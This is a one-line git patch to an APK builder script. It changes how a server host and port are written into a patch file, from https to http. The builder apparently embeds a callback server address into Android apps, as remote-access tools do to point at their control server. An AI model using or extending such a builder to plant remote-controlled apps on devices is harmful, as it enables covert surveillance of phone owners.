From b8c55d3c706859b8525720c72253f24fd80d426a Mon Sep 17 00:00:00 2001 From: ChrisStone07 Date: Tue, 24 Mar 2020 16:12:33 +0530 Subject: [PATCH] Fixed bug --- server/includes/apkBuilder.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/server/includes/apkBuilder.js b/server/includes/apkBuilder.js index c2e7427..5e79852 100644 --- a/server/includes/apkBuilder.js +++ b/server/includes/apkBuilder.js @@ -23,7 +23,7 @@ function patchAPK(URI, PORT, cb) { if (PORT < 25565) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { if (err) return cb('File Patch Error - READ') - var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "https://" + URI + ":" + PORT); + var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT); fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) { if (err) return cb('File Patch Error - WRITE') else return cb(false)